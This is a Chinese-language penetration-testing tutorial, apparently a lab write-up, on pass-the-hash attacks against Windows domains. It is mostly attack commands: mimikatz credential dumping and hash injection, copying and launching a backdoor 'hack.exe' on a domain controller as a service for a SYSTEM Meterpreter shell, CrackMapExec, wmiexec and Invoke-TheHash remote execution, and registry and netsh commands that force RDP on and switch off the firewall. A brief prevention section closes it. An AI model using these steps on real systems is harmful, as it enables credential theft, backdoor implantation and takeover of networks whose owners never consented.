内网渗透之哈希传递攻击

2021-11-19 15:26:19 浏览数 (1)

欢迎关注我的微信公众号《壳中之魂》

大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关的密码散列值(通常是 NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。同时,通过哈希传递攻击攻击者不需要花时间破解哈希密在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。在Windows Server2012R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。

分析

当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一且该网站出现安全漏洞,所有用户的明文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网结服务器会对用户输人的密码进行列加密处理(通常使用MD5算法)。散列加密算法一般为为单向不可逆算法。当用户登录网站时,会先对用户输入的密码进行散列加密处理,再与数库中存储的散列值进行对比,如果完全相同则表示验证成功。

主流的Windows操作系统,通常会使用NTLM Hash对访问资源的用户进行身份验证。早期版本的 Windows操作系统,则使用LM Hash对用户密码进行验证。但是,当密码大于等于15位

时,就无法使用 LM Hash了。从 Windows Vista和 Windows Server2008版本开始, Windows操作系统默认禁用 LM Hash,因为在使用 NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API(例如Lsa LogonUser)转换成散列值。不过,攻击者在获得密码散列值之后,依阳可以使用哈希传递攻击来模拟用户进行认证。

哈希传递攻击作用

哈希传递攻击的前提是域内主机的域管理员密码都为相同的密码,所以对应的哈希值也相同,在这种情况下,如果我们拿到另一台主机的本地管理员权限,即使是不知道域管理员的密码,但是可以用哈希传递来获得同样的管理员权限

使用mimikatz获取哈希

先决条件:

  • 需要有管理员权限

首先先拿到域管理员的NTLM Hash值,但是想要通过mimikatz拿到域管理员的Hash,需要使用管理员权限,但由于我们没有域管理员的权限,所以我们需要本地管理员的权限

以管理员权限运行cmd或者是mimikatz

如果不知道本地用户组的名字可以用以下命令

代码语言:javascript复制
net user

红框处即为本地用户组

代码语言:javascript复制
privilege::debug
sekurlsa::logonpasswords

虽然下面拿到了明文密码,但是我们是要模拟拿不到明文密码,只能拿到哈希值的情况

同时也要拿到用户名和域名,因为命令有这两个参数

  • NTLM Hash:ad5a870327c02f83cb947af6a94a4c23

哈希传递攻击

使用mimikatz

首先先dir一下域控制器的c盘,看看有没有权限

然后将获得的哈希值注入lsass进程中

代码语言:javascript复制
privilege::debug  //首先要提权,先前提过而不需要再提权
sekurlsa::pth /user:administrator /domain:g1ts /ntlm:ad5a870327c02f83cb947af6a94a4c23

当此命令正确输入后就会弹出一个cmd

使用此cmddir一下与控制器的c盘

既然我们拿到了域管理员的权限,我们可以进一步扩大战果,将后门上传到域控上

代码语言:javascript复制
copy hack.exe \winser2016c$

然后在msf设置监听,然后在域控创建服务启动后门

代码语言:javascript复制
//在域控上创建服务启动木马
//sc \[computer's name.domain name] create [service name] binpath="[file path]"
sc \winser2016.g1ts.com create update binpath= "c:hack.exe"
// 在域控上立即启动该服务
sc \winser2016.g1ts.com start update
// 在域控上立即删除该服务
sc \winser2016.g1ts.com delete update

meterpreter返回成功,而且为System权限

虽然会显示错误

但是很快就断连

再试一次,这次迁移进程

AES-256密钥进行哈希传递(必须安装KB2871997)

首先先获取AES-256的值,同时也要拿到用户名和域名,因为命令有这两个参数

代码语言:javascript复制
privilege::debug
sekurlsa::ekeys

然后在目标主机,以管理员运行mimikatz

代码语言:javascript复制
sekurlsa::pth /user:administrator /domain:name /aes256:input aes256

如果导入后依然不能访问远程主机,这是因为目标主机没有安装KB2871997,只有安装过后才能通过此方式进行横向移动,这种方法被称为(pass the key)

注意:

  • dir后要跟使用的主机名,而不是ip地址,否则会提示用户名或者密码错误
  • 除了AES-256密钥,AES-128密钥也可以用来进行哈希传递。
  • 使用AES密钥对远程主机进行哈希传递的前提是在本地安装KB2871997.
  • 如果安装了KB2871997,仍然可以使用SID为500的用户的NTLM Hash进行哈希传递
  • 如果要使用 mimikatz的哈希传递功能,需要具有本地管理员权限。这是由 timika的实现机制决定的(需要高权限进程Isass. exe的执行权限)。

更新KB2871997补丁产生的影响

微软在2014年5月发布了KB2871997。该补丁禁止通过本地管理员权限与远程计算机行连接,,其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、 smbexec, schtasks,也无法访问远程主机的文件共享等。

在实际测试中,更新KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但administration账号(SD为500)例外,使用该账号的散列值依然可以进行哈希传递。

这里强调的是SID为500的账号。在一些计算机中,即使将Administrator账号改名,也不会影响SID的值。所以,如果攻击者使用SID为500的账号进行横向移动,就不会受到KB2871997影响。在实际网络维护中需要特别注意这一点。

使用Crackmapexec

此软件可以对c段主机批量进行票据传递攻击

下载地址:https://github.com/byt3bl33d3r/CrackMapExec.git

kali如果没有安装要先安装

代码语言:javascript复制
apt-get install crackmapexec

用法

代码语言:javascript复制
//crackmapexec smb [ip] -u [user name] -H [hash] -d [domain] -x [command]
crackmapexec smb 10.10.10.10 -u administrator -H ad5a870327c02f83cb947af6a94a4c23 -d g1ts.com -x ipconfig
  • IP:可以是单个IP也可以是IP段
  • -u:指定用户名
  • -H:指定NTLM Hash
  • -d:指定域
  • -x:执行系统命令

可以看到ip为10.10.10.10,即域控制器,可说明票据传递攻击成功

使用wmiexec

此软件为impacket的其中一个脚本,可以走sock代理

impacket工具包下载地址:https://github.com/SecureAuthCorp/impacket

impacket下载完需要安装

安装后使用以下命令

代码语言:javascript复制
//python wmiexec.py -hashes LM Hash:NTLM Hash 域名/用户名@IP "命令"
wmiexec.py -hashes 00000000000000000000000000000000:ad5a870327c02f83cb947af6a94a4c23 g1ts/administrator@10.10.10.10 "ipconfig"

使用Metasploit

常用的模块有

代码语言:javascript复制
auxiliary/admin/smb/ms17_010_command //在目标系统执行命令
exploit/windows/smb/psexec           //用psexec执行系统命令

以exploit/windows/smb/psexec为例

设置参数,smbpassword可以用哈希值或者是明文密码,使用hash时要使用完整的格式,即LM Hash:NTLM Hash,如果不知道LM Hash可以使用32位0来补全

执行成功后会返回一个meterpreter,带有System权限

使用PowerShell

下载地址:https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-TheHash 项目是一个基于.Net TCPClient,通过把 NTLM 哈希传递给 NTLMv2 身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限。Invoke-TheHash 项目中内含如下多个脚本:

代码语言:javascript复制
Invoke-WMIExec.ps1
Invoke-SMBExec.ps1
Invoke-SMBEnum.ps1
Invoke-SMBClient.ps1
Invoke-TheHash.ps1

使用Invoke-SMBExec.ps1

参数

  • Target - 目标主机名或IP地址。
  • Username - 用于身份验证的用户名。
  • Domain - 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
  • Hash - 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。
  • Command - 在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。
  • CommandCOMSPEC - 默认=Enabled:将%COMSPEC% /C预先添加到命令。
  • Service - 默认 = 20字符(随机):要在目标上创建和删除的服务名称。
  • Sleep - 默认 = 150毫秒:设置开始 - 睡眠值(以毫秒为单位)。
  • Version - 默认 = Auto: (Auto,1,2.1) 强制SMB版本。默认执行SMB版本协商,如果目标支持,则使用SMB2.1。
代码语言:javascript复制
Import-Module .Invoke-SMBExec.ps1
Invoke-SMBExec -Target 10.10.10.10 -Domain g1ts -Username administrator -Hash 00000000000000000000000000000000:ad5a870327c02f83cb947af6a94a4c23 -Command "c:hack.exe" -verbose

使用Invoke-TheHash.ps1&WMIExec.ps1

TheHash:可以远程对多个ip主机上执行 WMI 和 SMB 命令

  • Target - 目标的主机名,IP地址,CIDR表示法或IP范围列表。
  • Username - 用于身份验证的用户名。
  • Domain - 用于身份验证的域。本地帐户或在用户名后使用@domain时无需此参数。
  • Hash - 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。
  • Command - 在目标上执行的命令。如果命令未指定,则该函数将仅检查用户名和哈希是否可以访问目标上的WMI或SCM。
  • Type - 设置所需的Invoke-TheHash功能(支持SMBClient,SMBEnum,SMBExec或WMIExec)。
  • TargetExclude - 要从列表或目标中排除的主机名,IP地址,CIDR表示法或IP范围的列表。
  • PortCheckDisable - (Switch)禁用WMI或SMB端口检查。由于该功能尚未线程化,因此端口检查主要通过在尝试完全同步TCPClient连接之前,检查打开的WMI或SMB端口来提升速度。
  • PortCheckTimeout - 默认值 = 100:设置WMI或SMB端口检查的无响应超时时间(以毫秒为单位)。
  • CommandCOMSPEC - 默认 = Enabled:仅支持SMBExec。将%COMSPEC% /C预先添加到命令。
  • Service - 默认 = 20字符(随机):仅支持SMBExec。要在目标上创建和删除的服务名称。
  • SMB1 - (Switch) 强制SMB1。仅支持SMBExec。默认执行SMB版本协商,如果目标支持,则使用SMB2。
  • Sleep - 默认 = WMI 10 毫秒,SMB 150 毫秒:设置启动 - 睡眠值(以毫秒为单位)。
  • WMIExec:WMI命令执行。
  • Target - 目标主机名或IP地址。
  • Username - 用于身份验证的用户名。
  • Domain - 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
  • Hash - 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。
  • Command -在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的WMI。
  • Sleep - 默认 = 10毫秒:设置开始 - 睡眠值(以毫秒为单位)。

示例

代码语言:javascript复制
Invoke-WMIExec -Target [ip] -Domain [domain name] -Username [username] -Hash [hash] -Command "command or launcher to execute" -verbose

参数:

代码语言:javascript复制
//这里先导入Invoke-WMIExec.ps1脚本
Import-Module .Invoke-WMIExec.ps1
Import-Module .Invoke-TheHash.ps1
Invoke-TheHash -Type WMIExec -Target 10.10.10.10 -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Command "c:hack.exe" -verbose

执行完后成功上线

使用Invoke-SMBClient.ps1

SMB client同时支持SMB2.1和SMB签名。主要提供SMB文件共享功能,以使用没有远程命令执行权限的哈希。如果只有 SMB 文件共享的权限而没有远程执行权限的话,可以使用这个脚本列举远程主机上的共享目录、上传或下载文件、删除文件。

  • Username - 用于身份验证的用户名。
  • Domain - 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
  • Hash - 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。
  • Action - 默认 = List: 执行(List/Recurse/Delete/Get/Put) 操作。

List:列出目录内容。

Recurse:列出目录和所有子目录内容。

Delete:删除文件。

Get:下载文件。

Put:上传文件并设置创建,访问和上次写入时间以匹配源文件。

  • Source(源)

List 和 Recurse:目录的UNC路径。

Delete:文件的UNC路径。

Get:文件的UNC路径。

Put:要上传的文件。如果未指定完整路径,则该文件必须位于当前目录下。使用"Modify"开关时,“Source”必须是字节数组。

  • Destination(目标)

List 和 Recurse:未使用。

Delete:未使用。

Get:如果使用,value将是下载文件的新文件名。如果未指定完整路径,则将在当前目录下创建该文件。

Put:上传文件的UNC路径。必须指定文件名。

  • Modify

List and Recurse:输出一个由目录内容组成的对象。

Delete:未使用。

Get:输出下载文件的字节数组,而不是将文件写入磁盘。建议仅将其用于较小的文件,并将输出发送到一个变量。

Put:将字节数组上传到新的目标文件。

  • NoProgress - 不显示上传和下载进度条。
  • Sleep - 默认 = 100毫秒:设置开始 - 睡眠值(以毫秒为单位)。
  • Version - 默认 = Auto: (Auto,1,2.1) 强制SMB版本。默认执行SMB版本协商,如果目标支持,则使用SMB2.1。
代码语言:javascript复制
Import-Module .Invoke-SMBClient.ps1
//Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \servershare -verbose 查看远程主机共享目录
Invoke-SMBClient -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Source \WinSer2016.g1ts.comc$ -verbose

我在windows server2012运行文件名显示一堆乱码,在2016就正常,应该是powershell的原因

此脚本还可以操作执行其他的操作,比如上传、下载和删除文件

上传

代码语言:javascript复制
Invoke-SMBClient -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Action Put -Source test.txt -Destination \WinSer2012.g1ts.comc$test.txt
//向远程主机的共享目录中上传指定的文件

下载

代码语言:javascript复制
Invoke-SMBClient -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Action Get -Source \WinSer2016.g1ts.comc$hack.exe
//在远程主机上下载指定的共享文件

删除

代码语言:javascript复制
Invoke-SMBClient -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Action Delete -Source \WinSer2016.g1ts.comc$test.txt
//删除远程主机上指定的共享文件

使用Invoke-SMBEnum.ps1脚本

通过签名或未签名的SMB2.1执行用户,组,NetSession和共享枚举任务。

  • Target - 目标主机名或IP地址。
  • Username - 用于身份验证的用户名。
  • Domain - 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
  • Hash - 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。
  • Action - (全部,组,NetSession,共享,用户)默认 = share:枚举共享。
  • Group - 默认 = Administrators:枚举组。
  • Sleep - 默认 = 150毫秒:设置开始 - 睡眠值(以毫秒为单位)。
  • Version - 默认 = Auto: (Auto,1,2.1) 强制SMB版本。默认执行SMB版本协商,如果目标支持,则使用SMB2.1。
代码语言:javascript复制
Invoke-SMBEnum -Target 10.10.10.10 -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -verbose

利用哈希传递登录RDP远程桌面

查看目标是否开启了RDP

注册表

代码语言:javascript复制
REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections

十六进制0x1关闭,十六进制0x0开启

查看端口、进程

代码语言:javascript复制
tasklist /svc | find "TermService" netstat -ano | find "3389"

使用nmap

代码语言:javascript复制
namp -p 3389 10.10.10.10

当然,查看端口是不一定可靠的,目标可能改了端口

强制开启RDP

修改注册表

代码语言:javascript复制
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

如果目标开启了防火墙,还需要配置防火墙为允许远程桌面连接,或者关闭防火墙

代码语言:javascript复制
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
netsh advfirewall set allprofiles state off     //关闭防火墙

使用msf

使用后渗透模块

代码语言:javascript复制
post/windows/manage/enable_rdp

使用Restricted Admin Mode进行哈希传递登录RDP

适用版本:

  • Windows 8.1和Windows Server 2012 R2默认支持该功能(但是windwos server 2012似乎并没有这条注册表,需要手动创建)
  • Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351

Windows Server 2012 R2 采用了新版的 RDP 远程桌面协议,在这个新版协议中有一个 ”受限管理员”(Restricted Admin)的特性。通过这个特性,我们可以实现哈希传递攻击并成功登录远程桌面。

在抓取到的 Hash 无法破解的情况下,如果目标主机开启了 "Restricted Admin Mode" 也行,那么我们便可以使用 Hash 来直接实现 RDP 远程登录。Restricted Admin Mode在Windows 8.1和 WindowsServer 2012 R2上默认开启。

我们在渗透过程中可以通过修改注册表的方式开启目标主机的Restricted Admin Mode,值为 0 代表开启,值为 1 代表关闭:

代码语言:javascript复制
REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

查看是否成功开启。十六进制0x1关闭,十六进制0x0开启

代码语言:javascript复制
REG query "HKLMSystemCurrentControlSetControlLsa" | findstr "DisableRestrictedAdmin"

然后再攻击机上使用 Mimikatz 进行哈希传递,大致原理就是哈希传递成功后执行 mstsc.exe/restrictedadmin 来打开远程桌面:

代码语言:javascript复制
privilege::debug
sekurlsa::pth /user:administrator /domain:g1ts.com /ntlm:ad5a870327c02f83cb947af6a94a4c23 "/run:mstsc.exe /restrictedadmin"

哈希传递攻击的预防

微软在2014年5月发布了 KB2871997 和 KB2928120 两个补丁。KB2871997是针对PTH攻击的,这个被称为“PTH杀手”的更新将使本地帐号不再可以用于远程接入系统,不管是 Network logon 还是Interactive login。其后果就是:无法通过本地管理员权限对远程计算机使用 Psexec、WMI、smbexec、IPC 等,也无法访问远程主机的文件共享等。但是在测试中发现,在打了 kb2871997 这个补丁后,常规的哈希传递已经无法成功,但是唯独默认的Administrator(SID 500)帐号例外,利用这个账号仍可以进行哈希传递。注意即使把Administrator改名了,它的SID仍然是500,只要它还是 SID 500那么以前的攻击方法还是有效。

0 人点赞